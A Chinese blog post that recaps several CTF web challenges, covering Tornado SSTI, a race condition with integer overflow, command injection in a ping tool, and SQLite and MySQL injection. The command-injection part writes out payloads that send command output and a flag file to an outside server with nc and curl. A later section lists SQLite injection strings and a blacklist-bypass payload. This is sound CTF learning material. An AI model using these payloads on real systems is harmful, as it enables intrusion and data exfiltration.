Iuhrey

一个常年被吊打的Web手 一个唱歌不好指弹垃圾的吉他手

近期比赛学习总结

前记

最近又陷入了自闭自闭又自闭的环节,先是pico高中生比赛被吊打,接着又是inctf被吊打,周末又被护网杯题目弄自闭,对此只能说自己技术太菜,总结一下最近新学到的知识点吧(由于比赛打完之后环境关了,所以只能结合大师傅们的wp进行复现)。

easy tornado

这是护网杯的签到题,说句实话一开始打就知道这一次比赛又是凶多吉少,点进去发现有三个文件:

1
2
3
4
5
6
7
8
Orz.txt 
render()

hint.txt
md5(cookie_secret + md5(filename))

flag.txt
/fllllllllllag

赛后梳理起来,提示真是太明显了,当然这是马后炮了,render()就说明了这里用了渲染,就可能存在ssti注入,果不其然在报错页面发现了msg这个参数,通过利用msg=4测试发现返回了4,也就是说明可以通过ssti注入得到数据。
接着是url构成如下:

1
file?filename=Orz.txt&signature=9e3bb6483951e58b6095f949d572dd9a

hint.txt提示签名的生成方式,以及flag.txt提示了/flllllllllllg也就是说我们只要读取这个文件夹就能得到flag,那现在问题就是通过ssti注入得到cookie_secret,通过测试发现了一个问题就是ssti注入过滤了很多东西,只能读取变量。
既然题目提示了easy tornado,那么我们可以查询源码找突破口,这部分直接搜索cookie发现了在handler.settings存放了cookie_secret,直接通过msg=读取出cookie_secret再通过hint中提示的签名方式生成/fllllllllg的签名读取出flag。
这道题目有两个点坑,导致我没做出来….一个就是报错界面了,之后一定要主要一些报错界面或者一些不太重要的界面,既然存在就有他的作用,接着第二个点就是没认真阅读tornado的源码,如果存在ssti注入那模板一定得认真阅读,特别是关于敏感信息的一些文件。

ltshop

这是一道关于条件竞争以及整数溢出的题目,一开始只有20块只能买4个辣条,通过开多线程跑出来发现自己花了20元买了7个辣条,接着在兑换的时候利用整数溢出漏洞买足够辣条通过兑换flag得到flag。

条件竞争

条件竞争漏洞是一种服务器端的漏洞,是由于开发者设计应用程序并发处理时操作逻辑不合理而造成。当应用面临高并发的请求时未能同步好所有请求,导致请求与请求之间产生等待时出现逻辑缺陷。该漏洞一般出现在与数据库系统频繁交互的位置,例如金额同步、支付等较敏感操作处。另外条件竞争漏洞也会出现在其他位置,例如文件的操作处理等。
在CTF中很容易出现这种漏洞,特别是在文件操作以及金额同步的情形下,例如上面这道题目,在购买辣条时,后端操作应该是先把辣条数+1,然后再扣除费用,当我们开多线程发送多条购买辣条的请求时,服务端同时处理多条请求,同步处理不当,很有可能导致一包辣条的钱购买了多包的情况,或者是在金额即将归零时购买了辣条导致金额为负值。
或者是在上传文件时,服务器先将文件储存再通过检测后缀名将黑名单的文件进行删除,这里可以在文件删除之前访问文件,从而执行文件中的命令,例如可以在文件中写入file_put_contents()再生成一个shell,或者是将文件名改成白名单的文件。

整数溢出

准确来说这并不是属于web方面的内容,但是web杂的很,结合啥的漏洞都可能出现,像之前接触到的sprintf()格式化漏洞,结合mysql就出了一道盲注题目,还有pwn方面的结合web就有了沙箱逃逸这个专题…..话不多说…
一般来说,整形变量有int,short,long等,但是很多程序员在使用typedef定义新整形变量时会随缘定义,这就导致一些程序在跨平台的兼容性很差,所以业界有了一个整形变量的标准。如下:

1
2
3
4
5
6
7
8
9
10
typedef signed char             int8_t;   
typedef short int int16_t;
typedef int int32_t;
typedef long int int64_t;
typedef long long int int64_t;
typedef unsigned char uint8_t;
typedef unsigned short int uint16_t;
typedef unsigned int uint32_t;
typedef unsigned long int uint64_t;
typedef unsigned long long int uint64_t;

而在c中,这些整数储存占用字节如下:

溢出的方式根据数据类型有两种不同的类型:
第一种上界溢出,比如short int这个类型,它储存的数据从-32678~32677,如果我们操作32677,让其加1,那它储存的数据块最后一位储存符号位的字节就被溢出的数据给更改了,也就是说直接变为了最小的-32678,如果根据算式来看就是32677+1=-32678,这种带符号位在web网页中不常见,常见的是unsigned类型,再比如说unsigned short int数据储存的范围是0~65535,要是对65535操作加1,也就变成了0,通过算式说明就是:65535+1=0,也就是说我如果在网页中购买大量商品,后台数据处理出现整数溢出,那我们就能花1件的钱来购买65537件商品。
第二种为下界溢出,就类似上界溢出的逆运算,利用点和上界溢出一样,就粗略带过了…

Fancy-alive-monitoring

直接上源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<html>
<head>
<title>Monitoring Tool</title>
<script>
function check(){
ip = document.getElementById("ip").value;
chk = ip.match(/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/);
if (!chk) {
alert("Wrong IP format.");
return false;
} else {
document.getElementById("monitor").submit();
}
}
</script>
</head>
<body>
<h1>Monitoring Tool ver 0.1</h1>
<form id="monitor" action="index.php" method="post" onsubmit="return false;">
<p> Input IP address of the target host
<input id="ip" name="ip" type="text">
</p>
<input type="button" value="Go!" onclick="check()">
</form>
<hr>

<?php
$ip = $_POST["ip"];
if ($ip) {
// super fancy regex check!
if (preg_match('/^(([1-9]?[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]).){3}([1-9]?[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])/',$ip)) {
exec('ping -c 1 '.$ip, $cmd_result);
foreach($cmd_result as $str){
if (strpos($str, '100% packet loss') !== false){
printf("<h3>Target is NOT alive.</h3>");
break;
} else if (strpos($str, ', 0% packet loss') !== false){
printf("<h3>Target is alive.</h3>");
break;
}
}
} else {
echo "Wrong IP Format.";
}
}
?>
<hr>
<a href="index.txt">index.php source code</a>
</body>
</html>

题目主要是考源码审计以及命令执行,题目在客户端和服务端分别对ip进行了检测,第一次在客户端的检测如下:

1
chk = ip.match(/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/);

这里明显只能匹配xxx.xxx.xxx.xxx格式的ip,但是可以很简单的通过burp抓包绕过,接着看服务端的检测:

1
preg_match('/^(([1-9]?[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]).){3}([1-9]?[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])/',$ip

这里并没有使用$限制输入ip的结束,也就是说我们只要满足前面的ip匹配即可,接着使用命令分隔符就能执行我们命令了,但是源码中并没有回显,只有这一部分回显:

1
2
3
4
5
6
if (strpos($str, '100% packet loss') !== false){
printf("<h3>Target is NOT alive.</h3>");
break;
} else if (strpos($str, ', 0% packet loss') !== false){
printf("<h3>Target is alive.</h3>");
break;

那也就是说,我们得通过其他方式来获取回显的信息。这里提供两种方式。

netcat监听

第一种方式就是在我们的服务器上开启一个监听端口,然后在目标机上通过nc链接,把执行的命令返回给我们的服务器。
首先我们开启一个端口,如下:

1
nc -lvnp 2333

接着使用目标机执行ls命令然后发给我们的服务器:

1
ip=127.0.0.1;ls | nc 66.42.72.66 2333

我们的服务器就收到了回显:

接着通过读取flag文件就好了:

1
ip=127.0.0.1;cat the-secret-1755-flag.txt | nc 66.42.72.66 2333

得到flag:picoCTF{n3v3r_trust_a_b0x_36d4a875}

带flag访问接收器

第二种方式是通过带flag直接访问我们的服务器,把执行命令返回的内容通过赋值到一个变量然后访问我们的服务器,例如使用curl 或者是 wget命令。例如我们可以构造这样一个payload:

1
ip=127.0.0.1;curl http://66.42.72.66/`ls`

接着我们查看日志,发现:

我们只得到了一个文件,那就是index.php,结合使用netcat监听方法发现这是第一个文件,这是因为在/的后面只能带一个参数,所以在不清楚有多少文件的情况下,我们是没办法用倒叙或者一个一个查的,因此我们可以使用base64,把结果进行编码构成一个参数进行访问:

1
ip=127.0.0.1;curl http://66.42.72.66/`ls | base64`

我们接收到了base64后的所有文件名:

接着解码再读flag就行了。这也可以使用?带变量进行访问具体可以自己尝试。

A Simple Question

这是一道考sqlite注入的题目,sql注入中这一种倒是不太常见,但是和mysql有着类似的特点。
一进去就发现源码泄露:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
include "config.php";
ini_set('error_reporting', E_ALL);
ini_set('display_errors', 'On');

$answer = $_POST["answer"];
$debug = $_POST["debug"];
$query = "SELECT * FROM answers WHERE answer='$answer'";
echo "<pre>";
echo "SQL query: ", htmlspecialchars($query), "\n";
echo "</pre>";
?>
<?php
$con = new SQLite3($database_file);
$result = $con->query($query);

$row = $result->fetchArray();
if($answer == $CANARY) {
echo "<h1>Perfect!</h1>";
echo "<p>Your flag is: $FLAG</p>";
}
elseif ($row) {
echo "<h1>You are so close.</h1>";
} else {
echo "<h1>Wrong.</h1>";
}
?>

简单审计发现,数据库会查询我们输入的答案,如果返回结果,那么会输出you are so close,但是如果搜索无果,那么就只会提示wrong,题目的主要思路就是通过注入的方式判断answer是什么,再通过输入answer得到flag。

sqlite注入

sqlite注入和mysql注入差不多,就是语法存在一些差异。
这里以字符型为例子:

  • 查询行数:’ order by x – -
  • 查询回显位: ‘ union select 1,2,3,4,5….. – -
  • 查询表名: ‘ union select 1,group_concat(tbl_name),3,4,5… from sqlite_master where type=’table’ and tbl_name not like ‘sqlite_%’ – -
  • 查询列名: ‘ union select 1,group_concat(sql),3,4,5… from sqlite_master where type!=’meta’ and sql not null and name not like ‘sqlite_%’ and table=’表名’ – -
  • 查询字符串: ‘ union select 1,列名,3,4,5… from 表名 – -

接下来就是sqlite的布尔型注入:

  • 查询表的数量:’ and ( (select count(tbl_name) from sqlite_master where type=’table’ and tbl_name not like ‘sqlite_%’ ) = x) – -
  • 查询表名长度: ‘ and ((select length(tbl_name) from sqlite_master where type=’table’ and tbl_name not like ‘sqlite_%’ limit 0 offset 1) = x) – -
  • 查询表名:’ and ( (SELECT hex(substr(tbl_name,’猜解的字符位置’,1)) FROM sqlite_master WHERE type=’table’ and tbl_name NOT like ‘sqlite_%’ limit 1 offset 0) = hex(‘a’) ) – -
  • 查询列名: ‘ and ((select hex(substr(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,’(‘)%2b1)),instr((substr(sql,instr(sql,’(‘)%2b1)),’')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~'),"“,””),’猜解的字符位置’,1)) FROM sqlite_master WHERE type!=’meta’ AND sql NOT NULL AND name NOT LIKE ‘sqlite_%’ and name=’表名’) = hex(‘a’) ) – -
  • 查询字符串: ‘ and ( (select hex(substr(列名),1,1)) from users limit 1 offset 0) = hex(‘a’) ) – -

这些操作也不用死记住,理解查询的语法就差不多了,复杂的到时写脚本直接套就行了。

Old School SQL

这道sql注入的题目把我想到的绕过以及我没想到的绕过都过滤了。源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php 
include "./config.php";
include "./flag.php";
error_reporting(0);

$black_list = "/admin|guest|limit|by|substr|mid|like|or|char|union|select|greatest|%00|\'|";
$black_list .= "=|_| |in|<|>|-|chal|_|\.|\(\)|#|and|if|database|where|concat|insert|having|sleep/i";
if(preg_match($black_list, $_GET['user'])) exit(":P");
if(preg_match($black_list, $_GET['pw'])) exit(":P");


$query="select user from chal where user='$_GET[user]' and pw='$_GET[pw]'";

$result = mysql_query($query);
$result = mysql_fetch_array($result);
$admin_pass = mysql_fetch_array(mysql_query("select pw from chal where user='admin'"));
echo "<h1>query : <strong><b>{$query}</b></strong><br></h1>";
if($result['user']) echo "<h2>Welcome {$result['user']}</h2>";
if(($admin_pass['pw'])&&($admin_pass['pw'] === $_GET['pw'])){
echo $flag;
}

highlight_file(__FILE__);

?>

其实主要的重点就是这过滤的语句:

1
2
$black_list = "/admin|guest|limit|by|substr|mid|like|or|char|union|select|greatest|%00|\'|";
$black_list .= "=|_| |in|<|>|-|chal|_|\.|\(\)|#|and|if|database|where|concat|insert|having|sleep/i";

审查源码不难发现,我们需要通过注入得出密码才能得到flag,并不能通过注入直接得到flag。但是有几个问题需要解决:
第一个问题是’被过滤,如何造成单引号溢出是一个问题,第二个问题是如何注释掉后面的无关语句,但是三种过滤符号都被过滤了。第三个问题就是某些重要的关键词被过滤了,如何绕过通过查询语句来得到我们所要的密码。
第一个问题,我们可以发现black_list中并没有过滤\这个转义符,这里可以造成’逃逸。
第二个问题,在mysql中,查询语句一般需要用;作为结束的符号,也就是说我们把;嵌入查询语句,那;之后的语句都不会执行。所以可以使用;来作为替代注释符号。
第三个问题,or被过滤可以使用||来替代,然后>,<,=比较符被过滤,我们可以考虑like,但是like也被过滤了,再仔细看看黑名单,发现了regexp并没被过滤,也就是说我们可以用正则匹配来爆破出密码。发现查询成功就会返回welcome的字样,所以构造如下payload:

1
?user=\&pw=||pw/**/regexp/**/"^1";

通过改变查询值爆破即可得到flag。

参考链接:
整数溢出原理介绍
浅析C语言之uint8_t / uint16_t / uint32_t /uint64_t
2018护网杯-web-writeup

基于SQLite数据库的Web应用程序注入指南

本站总访问量